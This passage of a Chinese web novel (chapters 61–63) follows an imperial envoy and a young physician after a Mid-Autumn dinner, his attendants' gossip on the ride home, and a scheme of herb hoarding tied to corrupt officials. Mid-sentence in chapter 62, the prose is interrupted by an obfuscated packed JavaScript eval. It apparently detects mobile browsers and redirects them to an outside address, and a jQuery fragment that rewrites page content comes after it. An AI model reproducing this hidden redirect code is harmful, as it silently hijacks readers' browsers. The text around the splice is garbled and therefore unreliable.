许娇娇抬起头,眼中闪过一丝茫然,随即又恢复清明:“等水月庵的案子了结,民女想……继续行医。在张记坐诊也好,自己开个小医馆也罢,总之,做本分事,过安生日子。” 她说得平淡,裴宴却听出了其中深藏的期盼——对寻常安稳生活的渴望。 “会的。”他轻声道。 许娇娇看着他,忽然笑了。那笑容很浅,却如月光破云,清辉洒落:“借大人吉言。” 两人又喝了几杯,许娇娇酒意上头,胆子也大了些,话渐渐多了起来。她说起落溪村,说起水月庵后山大茅屋那棵老枣树,每年秋天结满果子;说起第一次独立诊病时的紧张;也说起对未来的些许憧憬——想有一间自己的药铺,种一院子草药,闲时看书制药,忙时治病救人。 她说这些时,眼睛亮亮的,整个人笼在月光里,像一幅会发光的画。 裴宴大多时候静静听着,偶尔问一两句。他发现,当她不再戒备,不再斟酌字句时,言语中自有一种天真烂漫的气息,与她的年龄相符,却又因那些不寻常的经历,多了几分通透。 这样的她,让他想起那夜在仁心堂,她蹲在病患前专注诊治的模样——既有医者的仁心与沉稳,又有少女的纯粹与热忱。 矛盾,却又奇异地和谐。 夜深了,月饼蒸好端上来,还冒着热气。许娇娇切了一块枣泥核桃的递给裴宴,又给长风和明月各分了一块。 她自己拿了一小块豆沙的,小口小口吃着。甜糯的滋味在舌尖化开,她满足地眯起眼,像只偷到鱼的小猫。 裴宴看着她,忽然觉得口中月饼的甜,一直渗到了心里。 “时候不早了。”他放下筷子,站起身。 许娇娇忙也起身:“大人要走了?” “嗯。”裴宴看着她被酒意染红的脸颊,温声道,“你早些歇息。” 许娇娇送他到院门口。月光将两人的影子拉长,在青石板路上交叠。 “大人,”她忽然叫住他,声音很轻,“今夜……谢谢您能来。” 裴宴回头看她。她站在门内,月光洒了满身,眼眸清澈如秋水,倒映着漫天星斗与他一个人的身影。 “也谢谢你,”他说,声音是他自己都未察觉的柔和,“款待。” 他转身离去,玄色氅衣在夜风中微微飘动。长风明月紧随其后,马蹄声在寂静的巷子里渐行渐远。 许娇娇站在门口,直到那身影彻底消失在月色中,才缓缓关上院门。 背靠着门板,她轻轻吐出一口气。今夜,她让自己稍微放松了片刻,说了些平日不会说的话,流露了些许真实情绪。 而裴宴……他或许仍有怀疑,但至少,他愿意坐下来,听她说,吃她做的菜,陪她过这个中秋。 这就够了。 她抬头望月。明月当空,清辉万里。这异世的中秋,终究不似想象中那般孤寒。 厨房里,静尘和静心正在收拾碗筷,低声说着话。旺财凑到她脚边,蹭了蹭她的腿。 许娇娇弯腰摸摸它的头,唇角扬起一抹浅浅的、真实的笑容。 夜色尚好,前路虽长,但今夜月光温柔,足慰风尘。 而巷外,裴宴策马缓行,脑海中仍回响着那小院里的笑语,鼻尖仿佛还萦绕着饭菜的香气,眼前晃动着月光下她微红的颊、清亮的眼。 她到底还藏着多少秘密?一个山村孤女,怎会有那般见识、那般手艺? 这个疑问,像一颗种子,在他心底悄然扎根。 这夜的月色太美,而她笑时的模样,让他第一次觉得,这江南的秋夜,原来也可以这般温暖宜人。 62. 第62章 两个随从对话 夜色已深,裴宴的马车沿着青石板路缓缓驶离柳枝巷。车厢内,裴宴闭目养神,面色平静,只唇角若有若无地噙着一丝极淡的弧度。 车辕上,长风和明月并肩坐着。长风驾着车,嘴里还回味着方才那顿丰盛的晚宴,忍不住咂了咂嘴,压低声音对明月道:“哎,你瞧见没?许娘子那手艺,真真是绝了!那叫什么……水晶鹅肝?入口即化,香得我舌头都快吞下去了!” 明月抱着剑,斜睨了他一眼,没接话。 长风浑然不觉,继续啧啧称奇:“还有那羊头签,外酥里嫩,我都没吃过这么地道的。最绝的是那豆腐丝——我的天,那是怎么切的?比头发丝还细,在汤里飘着跟云雾似的!你说许娘子一个……” 他顿了顿,似乎在想合适的词,然后一拍大腿:“一个比丘尼出身的小娘子,怎么会有这等手艺?我原先在京城,跟着郎主赴过不少宴席,御厨的手艺也尝过,可今晚这些菜,好些我连见都没见过!” 明月依旧没吭声,只目视前方,仿佛在专心守夜。 长风见他没反应,用胳膊肘捅了捅他:“哎,你说话呀!是不是也吃美了?我看你今晚可没少吃,那松鼠鱼你一人就夹了三四块!” 明月这才转过头,淡淡看了他一眼:“食不言,寝不语。郎主还在车里呢。” “嗨,郎主又没说不让说话。”长风不以为意,反而兴致更高了,“要我说啊,许娘子真是奇人。医术好,心肠好,如今看来,厨艺更是了得。这样的女子,哪像是从水月庵那种地方出来的?倒像是……” 他摸着下巴想了想,忽然眼睛一亮:“倒像是哪个世家大族精心培养出来的闺秀!你看她席间那些举止,斟酒布菜,言谈应对,虽不刻意,却自有一种气度。还有她说的那些话——调和之道,啧啧,多通透!” 明月眉头微不可察地蹙了蹙。压低声音道:“你小心说话,军棍还没打呢!二十军棍你小子是不是嫌少?” 长风越说越起劲,完全没注意明月的脸色和话语:“说实话,我原先还觉得许娘子命苦,孤零零一个人怪可怜的。如今看来,她这身本事,走到哪儿都饿不着!哎,你说她要是开个饭馆,保准门庭若市……” “长风。”明月终于开口,声音压得极低,带着警告的意味。 长风一愣:“怎么了?” 明月没说话,只快速瞥了一眼身后的车厢帘子,然后转过头,目视前方,嘴唇几乎不动地吐出几个字:“慎言。” 长风这才后知后觉地意识到自己话多了。他缩了缩脖子,也压低声音:“我这不是跟你私下说说嘛……又没当着许娘子的面。” “私下也不行。”明月语气严肃,“许娘子是姑娘家,又是郎主的……客人。你这般议论,于礼不合。” 长风被他这么一说,有些讪讪的,但嘴上还不服软:“我这是夸她呢!又没说坏话……” “夸也不妥。”明月打断他,“你我是什么身份?许娘子是什么身份?背后议论女子,非君子所为。” 长风张了张嘴,想反驳,但看明月那一本正经的样子,又觉得他说得好像有点道理。他挠挠头,咕哝道:“行行行,我不说了还不行吗……” 两人沉默了片刻。马车轱辘碾过石板路,发出有节奏的“咯咯”声。远处传来打更的梆子声,已是亥时三刻。 长风是个闲不住的人,安静了没一会儿,又忍不住凑近明月,用气声道:“哎,我就再说一句——你说郎主推了那么多的酒宴,唯独答应了许娘子的邀约,郎主是不是对许娘子另眼相看。你看今晚,郎主是不是挺高兴的?” 明月斜了他一眼,没接话。 “真的!”长风信誓旦旦,“我跟了郎主这么多年,很少见他这么……这么放松。你看他今晚笑了几次?至少三次!平常赴那些官宴,他连嘴角都懒得动一下。可今晚在许娘子那小院里,我瞧着他神色都柔和了不少。” 明月依旧沉默,但眼神微微动了动。 长风见他没有反驳,胆子又大了起来:“要我说啊,许娘子跟咱们郎主,还挺……挺配的。你瞧,都是聪明人,都心系百姓,还都能耐……” “长风!”明月这次声音重了些,带着明显的斥责,“越说越不像话了!” 长风被他吓了一跳,缩了缩脖子,小声嘟囔:“我这不是替你分析分析嘛……” “用不着你分析。”明月语气冷硬,“郎主的事,岂是你我能置喙的?” 长风被他怼得有点委屈,咕哝道:“我这不是关心大人嘛……你看郎主这些年,身边连个知冷知热的人都没有。京里那些贵女,一个个矫揉造作的,郎主瞧都不瞧一眼。许娘子多好啊,实心实意的,还会做那么好吃的菜……” 他越说声音越小,因为明月的脸色已经沉了下来。 明月盯着他,一字一句道:“长风,你听好了。第一,许娘子是良家女子,不是你可以随意品评的。第二,郎主的婚事,自有国公爷和夫人做主,轮不到我们操心。第三——” 他顿了顿,声音压得更低,却字字清晰:“许娘子的身份特殊,身世成谜,与郎主正在查的案子还有牵连。这些话若传出去,对许娘子、对郎主,都是祸患。你明白吗?” 长风被他这么一说,酒醒了大半,额头渗出冷汗。他这才意识到自己刚才那番话有多不妥——不仅唐突了许娘子,还可能给郎组招来麻烦。 “我……我知道了。”长风低下头,声音闷闷的,“以后不说了。” 明月看他那垂头丧气的样子,语气缓和了些:“你呀,什么都好,就是这张嘴没个把门的。在京城时就这样,如今到了江南,还是不改。早晚要吃大亏。” 长风撇撇嘴,不服气地小声嘀咕:“我这不是把你当兄弟,才跟你说这些嘛……换了旁人,我才不说呢。” 明月无奈地摇摇头。他知道长风就是这样的人——直肠子,没心眼,对裴宴忠心耿耿,但做事说话常常不过脑子。这些年,他不知替长风收拾了多少烂摊子。 “我知道你是好心。”明月叹口气,“但有些事,心里明白就行,别说出来。尤其是关系到女子名节和郎主声誉的事,更要慎之又慎。” “嗯。”长风老实应了,过了一会儿,又忍不住问,“那……你说许娘子今晚请郎主吃饭,真的只是答谢吗?” 明月简直想敲开他的脑袋看看里面装的是什么。他没好气地瞪了长风一眼:“不是答谢是什么?” “就……没有点别的意思?”长风眨眨眼,“你看啊,许娘子特意做了那么多菜,好些都是费工夫的。她还陪郎主喝酒,说了那么多话……” “那是礼数。”明月打断他,“许娘子是个知恩图报的人,郎主帮了她,她设宴答谢,再正常不过。你别想歪了。” 长风“哦”了一声,但眼神里明显还有疑虑。 明月看着他那样子,知道不把话说透,他是不会死心的,便压低声音道:“长风,你记着,咱们从小是跟着郎主的。郎主的私事,咱们不能打听,不能议论,更不能插手。许娘子是好是坏,郎主自有判断。咱们只需做好分内的事。保护郎主安全,执行郎主命令,服侍好郎主。其他的,一概不问,一概不管。明白吗?” 这番话说得郑重,长风终于认真起来,点头道:“明白了。” “真明白了?” “真明白了!”长风拍胸脯保证,“以后我要是再乱说话,你就……你就罚我洗一个月马!” 明月这才微微点头:“记住你说的话。” 两人又沉默下来。夜风吹过,带来秋夜的凉意。长风紧了紧衣领,忽然想起什么,又凑到明月耳边,用极低的声音说:“那……咱们还继续保护许娘子吗?” “自然。”明月想也没想,“郎主既然安排了,咱们就照做。” “哦。”长风应了声,忽然嘿嘿一笑,“其实我觉得保护许娘子挺好的。她人好,做的饭也好吃。今天她还特意给咱们也做了一桌呢,跟郎主那一桌一模一样……” 明月扶额,彻底无语了。 这人,刚说完不乱说话,转头又开始念叨吃的了。 “你呀……”明月无奈地摇摇头,唇角却也不自觉扬起一丝笑意。 说实话,今晚那顿饭,确实是他这些年吃过的最舒心的一顿。不是在觥筹交错的官宴上,也不是在肃穆的衙门里,而是在一个小院里,就着月光,吃着家常却美味的饭菜。许娘子待他们和善,没有因为他们是下人而轻视,还特意为他们备了一桌同样的菜。 这样的女子,确实难得。 但明月很快将这念头压了下去。正如他刚才教训长风的——他们是下人,不该有这些心思。做好本分,才是正道。 马车驶过一座石桥,车厢内传来裴宴淡淡的声音:“到哪儿了?” 长风立刻敛了神色,恭声道:“回郎主,刚过双桂桥,再有一刻钟就到行辕了。” “嗯。”裴宴应了一声,便不再说话。 长风和明月对视一眼,都正了正神色,不再交谈。 月光洒在青石板路上,映出马车长长的影子。远处,菰城的灯火渐次熄灭,只有打更人的梆子声,在寂静的夜里一声声回荡。 长风握着缰绳,目视前方,心里却还在回味着今晚的菜肴——尤其是最后那道月饼,枣泥核桃馅的,甜而不腻,香酥可口。许娘子切月饼时那灵巧的手,月光下微微泛红的脸颊,还有笑起来时那双清澈的眼睛…… 他赶紧摇摇头,把这些画面赶出脑海。明月说得对,不该想的别想。 但不知为何,他就是觉得,许娘子和他们家郎主,站在一起的时候,特别般配。 就像今晚,月光下,小院里,两人对坐饮酒。那画面,说不出的和谐。 长风偷偷瞥了明月一眼,见他一脸严肃,目视前方,仿佛刚才那些对话从未发生过。 这家伙,永远这么正经。长风心里嘀咕,但嘴角却忍不住翘了翘。 有这样一个兄弟在身边,时不时提醒他,管着他,其实也挺好的。 至少,不会让他因为这张没把门的嘴,真的惹出大祸来。 马车在夜色中平稳前行,轱辘声单调而规律。车厢内,裴宴手撑着头,微微闭着眼睛,看似在假寐,实则长风与明月的每一句对话,都透过车帘清晰地传入了他的耳中。 他没有阻止。 或许是今夜多饮了几杯花雕,酒意微醺,让他比平日多了几分慵懒与宽容;又或许,是他自己也说不清道不明的某种心思,让他愿意听一听旁人,尤其是这两个最亲近的随从, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318159|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对许娇娇的看法。 长风的咋咋呼呼,明月的谨慎持重,两人的对话像一出有趣的折子戏,在他闭目的黑暗中生动上演。他听到长风对菜肴的赞叹,听到明月对长风口无遮拦的斥责,也听到长风最后那句嘟囔:“其实我觉得保护许娘子挺好的”。 唇角不自觉地又扬起了些许弧度。 这个长风,虽然鲁直,但看人看事,有时却意外地通透。所以,更多的时候他都是让长风跟着他办事。 裴宴的指尖在膝上无意识地轻点着。脑海中,不受控制地浮现出今夜小院中的种种画面—— 月光下,端菜上桌时,她眼中那点小小的、掩藏不住的期待,像等待夸奖的孩子。听到他说“好手艺”时,她眼眸倏然亮起的光,比桌上的烛火更温暖。 饮酒时,她被酒气呛到,眼角泛出泪光,忙用袖子掩住口鼻的慌乱模样,褪去了平日那份超出年龄的沉稳,终于像个十几岁的小娘子。 还有她说起未来憧憬时,眼中那种纯粹的光——想有一间自己的药铺,种一院子草药。她说得那么认真,那么向往,仿佛那是世间最美好的事。 裴宴缓缓睁开眼睛。车厢内光线昏暗,只有窗外偶尔掠过的灯火,在他脸上投下明明灭灭的光影。 他不得不承认,许娇杏是个很特别的女子。 特别到,让他这个见惯了京城贵女、名门闺秀的人,也忍不住为之侧目。 她的医术精湛,绝非寻常郎中可比。疫病期间,她提出的防治方略,连太医署的老医官都为之赞叹。她的厨艺更是惊人——那些菜式,莫说一个山村孤女,便是京城最好的酒楼,也未必能做得那般地道精致。 还有她言谈间的见识,待人接物的分寸,偶尔流露出的、与年龄不符的通透…… 太多的不合常理,太多的谜团。 她究竟是个什么样的小娘子?他其实想知道答案。想要去探查,但他却有些怕,他怕一旦深究下去,会发现她背后藏着什么不堪的真相,会打破今夜这份难得的、让他心生暖意的美好。 这种情绪对裴宴来说很陌生。他自幼被教导要理智、要清醒、要以大局为重。感情用事是大忌,个人好恶不该影响判断。 可今夜,他竟生出一种近乎任性的念头:就算她真有什么秘密,又怎样? 她救过人,治过病,在疫病中不顾自身安危挺身而出。她待静尘静心情同姐妹,对巷中邻居温和有礼,甚至对他这两个随从,也一视同仁地尊重。 这样的女子,就算身世成谜,就算有些说不清的过往,难道就罪不可赦吗? 裴宴抬手揉了揉眉心,对自己这突如其来的宽容感到有些好笑。 真是喝多了。 车外,长风与明月的对话已经停下,只剩马蹄声与车轮声规律作响。夜风吹动车帘,带来秋夜的凉意,也带来一丝若有若无的、残留在衣襟上的淡淡香气——不是脂粉香,而是混合了药草、皂角,还有今夜饭菜气息的味道。 属于许娇娇的味道。 裴宴的手指在膝上停住。 他想起席间,她为他斟酒时,指尖不经意触到他的那一瞬。她的手很凉,带着井水的清冽,而他的手指温热。那一触即分的触碰,在微醺的酒意中被无限放大,此刻回想起来,竟让他指尖微微发麻。 不该这样的。 裴宴闭了闭眼,试图将那些画面赶出脑海。 他是镇国公府的嫡子,是奉旨南下的钦差,身负皇命,手握重权。而她,是一个身世成谜的孤女…… 两人之间,隔着身份,隔着阶级,隔着太多说不清道不明的东西。 裴宴缓缓吐出一口气,靠向车壁。车厢颠簸了一下,他的头轻轻磕在木板上,并不疼,却让他清醒了几分。 现实就是现实。有些界限,不是凭个人好恶就能跨越的。 至少现在不能。 马车驶入钦差行辕所在的街道,周围渐渐有了人声灯火。裴宴坐直身体,整理了一下微皱的衣襟,脸上那种微醺的柔和渐渐褪去,恢复了平日的冷峻自持。 只是心底某个角落,还残留着今夜月光与酒意的余温。 他想起她送他出门时,站在门内轻声说的那句“谢谢您能来”。月光洒了她满身,她仰头看他,眼眸清澈如秋水,倒映着漫天星斗。 那一刻,他几乎想伸手,拂开她额前那缕被夜风吹乱的碎发。 当然,他没有。 他是裴宴,是江南道的钦差。他有他的责任,他的立场,他该守的规矩。 可这并不妨碍,他将今夜的一切——月光,小院,饭菜香气,她的笑容——小心地收进记忆里,妥帖安放。 马车在行辕门前停下。长风跳下车辕,打起车帘:“郎主,到了。” 裴宴应了一声,躬身下车。夜风扑面而来,带着秋夜的凉意,吹散了车厢内残留的那点暖意与酒气。 他站在阶前,抬头望了望天。明月当空,清辉万里,与柳枝巷小院上空的那轮,是同一轮月。 “郎主?”长风见他不动,轻声唤道。 裴宴收回目光,脸上已无半点多余的情绪:“进去吧。” 他迈步走上台阶,玄色氅衣在夜风中微微飘动,背影挺直如松,依旧是那个冷峻威严的钦差大臣。 63. 第63章 药材风波 节后,秋意渐浓。 梧桐叶开始泛黄,柳枝巷小院里,有一两片叶子打着旋儿落下,铺在青石地面上,被晨间的露水润湿,踩上去沙沙作响。旺财最爱追着落叶跑,扑腾半天,往往一无所获,便垂着尾巴趴在廊下,眼巴巴望着树梢等下一片。 许娇娇这几日早出晚归,有时回来时天已黑透。静尘总是温着饭菜等她,旺财听见脚步声就冲到门边摇尾巴,这烟火气十足的等待,让她在满身疲惫中仍能感到一丝暖意。 可这暖意,驱不散心头日渐沉重的阴翳。 张记生药铺已经缺了很多的药材。 万大夫安顿好老家事务,前日已返城。他一回来便扎进药库清点存货,越点脸色越沉。廖大夫连日奔波,将城郊所有能采的草药都采了个遍,又托人去更远的山里问,带回的消息却一次比一次令人绝望。 “黄连涨了四倍。”这日清晨,张东家将新收到的报价单摊在柜台上,声音嘶哑,“金银花三倍半,黄芩两倍,连最普通的甘草,也翻了一番。” 他顿了顿,喉结滚动:“不止是涨价,是……没货。” 许娇娇接过单子细看。墨迹新鲜,是陈平刚从几个相熟的药材行抄回来的。报价栏里,过半药材写着“暂缺”二字,剩下的那些,价格高得近乎荒唐。 “庆和堂那边,”陈平抹了把额头的汗,压低声音,“我托人绕了几道弯打听,他们库房堆得满满当当,光是黄连就有十几箱。可就是不往外放,说是要留着’自用’。” “自用?”廖大夫冷笑一声,“他们庆和堂一年能开多少方子?用得完十几箱黄连?” 没人接话。众人都心知肚明,这不是什么自用,这是囤积居奇,是要掐断别家的生路。 许娇娇攥着那张单子,纸边被她捏出细密的褶皱。 又是王大官人。又是庆和堂。 她想起那夜裴宴在小院说过的话:“你所言之事,本官自会查证。” 她信他。可查证需要时间,而张记的存药,撑不了那么久。 “陈大哥,”她忽然开口,“前些日子托你带去归平县的信,可有回音?” 陈平面露难色,从怀中掏出两封皱巴巴的信笺,双手递过来。 “许娘子,信是带到了。落溪村那边……”他顿了顿,声音低下去,“姜老六说,今年端午前,庆和堂的人就去村里收过一轮药材,给的价格比往年高两成,把村里存的山货基本都收走了。剩下的零散些的,八月头上又来了人,说是王大官人吩咐的,有多少收多少。如今村里药农手里,连自家留用的都快不够了。” 许娇娇拆开信笺。纸张粗糙,字迹歪歪扭扭,是落溪村药农姜老六托人代笔的。信里先是问了她安好,又说了些村里的闲话,最后才小心翼翼地提及药材—— “……非是小老儿不肯相助,实是手中无货可卖。庆和堂的人说了,往后归平县方圆百里的山货药材,都由他们统一收购,不许私下卖与外埠。违者……违者往后便再不收他家的货了。村里人都指着这点山货换油盐,实在不敢得罪。许娘子见谅则个。” 另一封信来自归平县城里一家她曾打过交道的药材商行,措辞更委婉,意思却一样:不是不卖,是不敢卖。 许娇娇放下信笺,良久无言。 她早该料到的。王大官人在归平县经营多年,手眼通天,连水月庵那种佛门净地都能变成他的私产,何况区区几个药农、几家商号?他既然决定要垄断江南道的药材市场,自然不会留下任何缺口。 而她,竟天真地以为还能从这里找到一线生机。 “娇杏,”张东家见她脸色不好,温声道,“这事不怪你。你已尽力了。” 许娇娇摇摇头,没有说话。 午后,许娇娇告了半日假,独自出了张记。 她没有回柳枝巷,而是穿过两条街,走进了仁心堂。 仁心堂与她走时没什么两样。堂中依旧人来人往,抓药的伙计脚步匆匆,坐诊的郎中案前总排着三五候诊的病家。后院的药库大门紧闭,门前挂着“非请勿入”的木牌,隐约能闻见从门缝渗出的浓郁药香。 赵药师正在库房外间的账桌前核对入库单,听见脚步声抬头,见是她,搁下笔,脸上露出一丝温和的笑意。 “许娘子,有些日子没见了。” “赵药师。”许娇娇敛衽为礼,没有绕弯子,“今日来,是有事相求。” 赵药师看着她,目光里带着几分了然,又有几分无奈。 “张记的事,我听说了。”他叹了口气,“许娘子是想问我,能不能分些药材给你们应急?” “是。”许娇娇坦然承认,“仁心堂是大铺子,供货渠道稳固,灾后应无大碍。我知道这请求唐突,也知道仁心堂没有帮扶张记的义务。只是……”她顿了顿,“张记是老铺,张东家半辈子心血都在里头。这场水患,已是元气大伤,若再被药材的事拖垮,实在可惜。” 她抬眼,目光清澈而恳切:“赵药师,我不是来求仁心堂做亏本买卖。您若有富余的存货,张记愿以市价购入,绝不压价。只求……匀一些给我们,撑过这阵便好。” 赵药师沉默良久。 他走到窗边,背对着许娇娇,望着窗外街景。街上人来人往,与往日无异,可这平静表象之下,多少小铺子正在艰难求生,又有多少会无声无息地消失? “许娘子,”他终于开口,声音低沉,“不瞒你说,仁心堂的存货确实还算充裕。不是因为我们多有先见之明,而是因为供货的几家大商号,都是十几年、几十年的老关系。庆和堂再霸道,一时半会儿还动不了这些根基。” 他转过身,看着许娇娇:“但也仅止于此。这些商号与仁心堂有约在先,能供多少货,什么价格供,都是早几年就定好的。我不能为了帮张记,把仁心堂明后年的货也预支出去。” 许娇娇垂眸:“我明白。” “你不明白。”赵药师摇摇头,语气放软了些,“许娘子,我说这些,不是要推诿。我是想告诉你——张记的困境,不是仁心堂匀几箱药材就能解决的。” 他走近一步,压低了声音:“庆和堂背后是归平县王兆贵王大官人,王大官人背后是他那位在菰城做官的弟弟王兆仁,而王兆仁……他是发运使崔琰的干儿子。这层关系,你可知晓?” 许娇娇心头一震。 崔琰。江南道发运使? 这个名字,她还是第一次听说。她之前确实也打听过水仙姑的依仗王大官人。为什么区区一个县里的富商,竟然如此厉害,能勾结县令,让犯了那么大案子甚至负有命案的水仙姑,都能安然无恙的出狱。后来才知道王大官人的依仗,是在菰城做官的弟弟王兆仁。只是她没想到,王大官人的后台比她想的还要硬。 “崔大人掌着江南漕运,运河上的船,十有五六要听他调遣。”赵药师声音更低,几不可闻,“药材要走水路大批运进来,就绕不开漕运这一关。王大官人囤货抬价,为什么能做得这么顺当?因为码头上的人听他的,船上的纲头听他的,关卡查验的差役……也听他的。” 他直起身,退后一步,恢复了寻常的音量:“许娘子,我说这些,不是要吓唬你。我是想告诉你,这事比你我想的都要大。张记能不能撑过去,不在于仁心堂匀多少药材,而在于……”他顿了顿,没有说下去,只深深看了许娇娇一眼。 许娇娇听懂了。 她没有再求。她向赵药师郑重道谢,转身离开了仁心堂。 走在街上,秋阳正好,照得满街亮堂堂的。许娇娇却觉得心里有些发凉。 如今这些人,像散落在各处的珠子,正被一根看不见的线慢慢串起。 而这根线的另一端,握在谁手里? 她想起那夜月光下裴宴沉静的眼睛。他一定是知道的。他知道的,比她多得多。 傍晚回到柳枝巷,许娇娇发现院门口多了一人。 长风穿着便服,牵着一匹枣红马,见她走来,拱手为礼:“许娘子,安抚使有请。” 许娇娇脚步微顿:“现在?” “是。”长风垂首,“马车在巷口候着,娘子请随我来。” 许娇娇没有多问。她将药箱递给迎出来的静尘,低声道:“师姐,我出去一趟,不必等我用饭。” 静尘接过药箱,目光里有些担忧,却只轻轻“嗯”了一声。 马车沿着熟悉的道路,驶向城北钦差行辕。 这是许娇娇第一次进入行辕内院。穿过垂花门,绕过一池残荷的浅水,她被引至一间临水的厢房前。门窗半敞,能看见里面裴宴坐在案前,正低头翻阅着什么。 长风在阶前止步,躬身道:“郎主,许娘子到了。” “进来。”裴宴的声音隔着窗传出,听不出情绪。 许娇娇敛衽入内。 厢房不大,陈设简朴,只有一几一案,几架书。案上堆着尺余高的文书卷宗,裴宴手边摊开的几份,墨迹新旧不一,有些边角已泛黄。 他抬眼看她,没有寒暄,开门见山:“张记的事,我知道了。” 许娇娇在案前站定,没有落座。 裴宴将手边一沓纸推过来。她接过,低头细看。 是几份誊抄过的口供。 第一份,归平县药材商贾胡某。胡某供述,庆和堂自今年三月起开始大规模收购药材,价格比市价高出三成,条件只有一个——凡将药材卖给庆和堂者,不得再将相同货物售与江南道其他任何药铺。违者,往后休想再在归平县做药材生意。 第二份,漕运纲头孙某。孙某供述,今年四月至今,庆和堂通过码头发往江北的药材共计四十七船,总货值超过三万两白银。这些船均享受免检待遇,关卡差役从不细查,只收茶钱便放行。 第三份,崔府旧仆。此人供称,崔琰与王兆仁以父子相称,每逢年节,王兆仁必备厚礼亲赴崔府拜望。去年崔琰六十大寿,王兆仁送的贺礼中,有东海珍珠一斛、百年老参四株,还有一座三尺高的红珊瑚。 许娇娇逐字逐句看完,将供状轻轻放回案上。 “王兆仁,”裴宴的声音平静,如陈述事实,“在菰城任司户参军五年。这五年间,他以权谋私,侵占民田、包揽词讼、卖官鬻爵,罪行累累。但最要紧的,是他与崔琰的关系。” 他顿了顿:“崔琰掌江南漕运十二年。十二年间,运河上过往的每一艘商船,都要经他门下纲头之手。什么人运了什么货,运往何处,是明账还是暗账,他一清二楚。” “王大官人是他干儿子的兄长,”裴宴目光微冷,“替他打理那些不便经由官府经手的生意。药材只是其中一桩。还有丝绸、茶叶、瓷器……以及人口。” 最后两个字落得很轻,却像一块石头,沉甸甸压在许娇娇心口。 “那崔娘子呢?”她问,“她在其中,扮演什么角色?” 裴宴没有立刻回答。 他从案头另一叠卷宗里抽出一页,递给她。 这是一份旧档抄本,纸页泛黄,边缘破损。许娇娇接过来,只见抬头写着“景和十年腊月翠玉楼火灾案录要”,下面密密匝匝的小字,记录着那场烧死了二十三人的大火。 她看到了水娘的名字。看到了玉娘。看到了随儿。 也看到了戴明书。 “水仙姑就是当年的水娘。”裴宴的声音没有起伏,“崔娘子则是玉娘。那晚翠玉楼的大火,是玉娘放的。” 许娇娇攥着那页薄薄的纸,指尖发凉。 “她放火烧死了戴明书,也险些烧死水娘。”裴宴道,“水娘命大,从火场逃出,南下投奔了表姐了尘。玉娘则被崔旺收留,成了崔家妇。” “她们如今又遇见了。”许娇娇轻声道,不是疑问。 “不是遇见。”裴宴摇头,“是水仙姑找到了她。菰城虽大,但在王兆仁的眼皮底下,没有什么藏得住的人。崔娘子以崔琰干儿媳的身份在 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“许娘子,”他的声音低了些,“你可知道,我为何会来江南?” 许娇娇一怔。 这个问题,她从未想过。他是钦差,奉旨南下赈灾,这是朝廷的任命,是天子亲授的使命。还能有什么别的原因? “我此行,”裴宴没有回头,声音平淡如常,“身负密旨。” 密旨。 这两个字像一枚石子投入静水,激开层层涟漪。 许娇娇没有追问密旨的内容。她知道这不是她该问的,甚至不是她该听的。 但裴宴说了。他明知不该,还是告诉了她。 “崔琰与京中权贵勾连甚深,”他背对着她,声音平稳得近乎冷酷,“他掌漕运十二年,往北边运了多少不该运的东西,经他手送进京城权贵府邸的银钱又有多少,这是我要查的。” 他顿了顿:“但他贩运人口,勾结地方豪强,垄断民生命脉,这也是罪。这罪,与密旨无关,与朝堂倾轧无关,只与那些被害的女子、被逼到绝路的小铺子、被掐住咽喉的寻常百姓有关。” 他转过身,看着许娇娇。 “这罪,我也要办。” 许娇娇迎着他的目光,没有说话。 她忽然想起那夜小院里,他问她“如何确定本官就一定会管”。她答,因为相信他与那些官官相护之人不同。 那时她说这话,多少带着孤注一掷的试探。 此刻她才知道,那不是试探。那是她心底最真实的判断。 她信他。从一开始就信。 “安抚使,”她轻声道,“您需要小女做什么?” 裴宴看着她,唇角微微扬起一丝极淡的弧度,很快又敛去。 “什么都不必做。”他说,“你已在做了。” 许娇娇一怔。 “张记,”裴宴道,“是眼下整个菰城唯一还在与庆和堂硬扛的药铺。你与张东家四处奔走、写信求援、调整方子省药,这些事,市井间都传开了。” 他看着她:“庆和堂要的不是张记倒闭。他们要的是所有小铺子都俯首帖耳,从此江南道的药材买卖,由他们说了算。张记不低头,就是立在那里的靶子。” “而庆和堂的靠山是王兆仁,王兆仁的靠山是崔琰,”许娇娇接道,“崔琰不倒,庆和堂就永远有人撑腰。张记的困境,就不是借几箱药材、省几味方子能解的。” “是。”裴宴颔首,“所以我要你继续撑下去。” 他走近一步,离她不过三尺:“不必勉强仁心堂匀货,也不必再托人去归平县求药。那些路都走不通,你心里清楚。但张记的招牌不能倒,你们撑得越久,庆和堂就越着急,王兆仁就越容易露出破绽。” 他顿了顿,声音放轻了些,却更认真:“许娘子,这不是利用。这是并肩。” 并肩。 这个词在许娇娇心头轻轻撞了一下。 她没有说话,只是微微低下头,长睫在眼底投下细碎的阴影。片刻后,她重新抬眼,目光清明如水。 “我.....明白。”她说,“张记会撑下去。小女也会。” 裴宴看着她,良久,点了点头。 窗外的天光已渐渐暗下来,有仆役进来掌灯。跳跃的火光映在裴宴侧脸上,将那双总是冷峻的眼眸映得柔和了些。 “不早了,”他道,“我让人送你回去。” “不必。”许娇娇摇头,“长风大哥还在外面等着。小女自己回去便是。” 裴宴没有坚持。他看着她敛衽告退,看着她的背影消失在门外,看着那扇门轻轻阖上。 他独自站在案前,许久未动。 方才与她说那番话时,他发现自己竟有一瞬的犹豫。 不是犹豫要不要收网。那张网从离京那日起就在织了,无论要付出什么代价,他都不会收手。 他犹豫的是,将她放在这网中的位置。 她问他需要她做什么。他说“什么都不必做”。 不是托词。他确实不需要她做什么。该查的已查清,该布的局已布下,她只需如常行医、如常生活,便是对庆和堂、对王兆仁、对他们背后那张庞大的网,最直接的掣肘。 可他真的只是因为这个,才特意叫她来,告诉她这些事吗? 裴宴闭上眼。也许等着一切结束,就会有答案。 那就快一些罢。 快些收网,快些结案,快些让这江南道恢复它该有的清明。 到那时—— 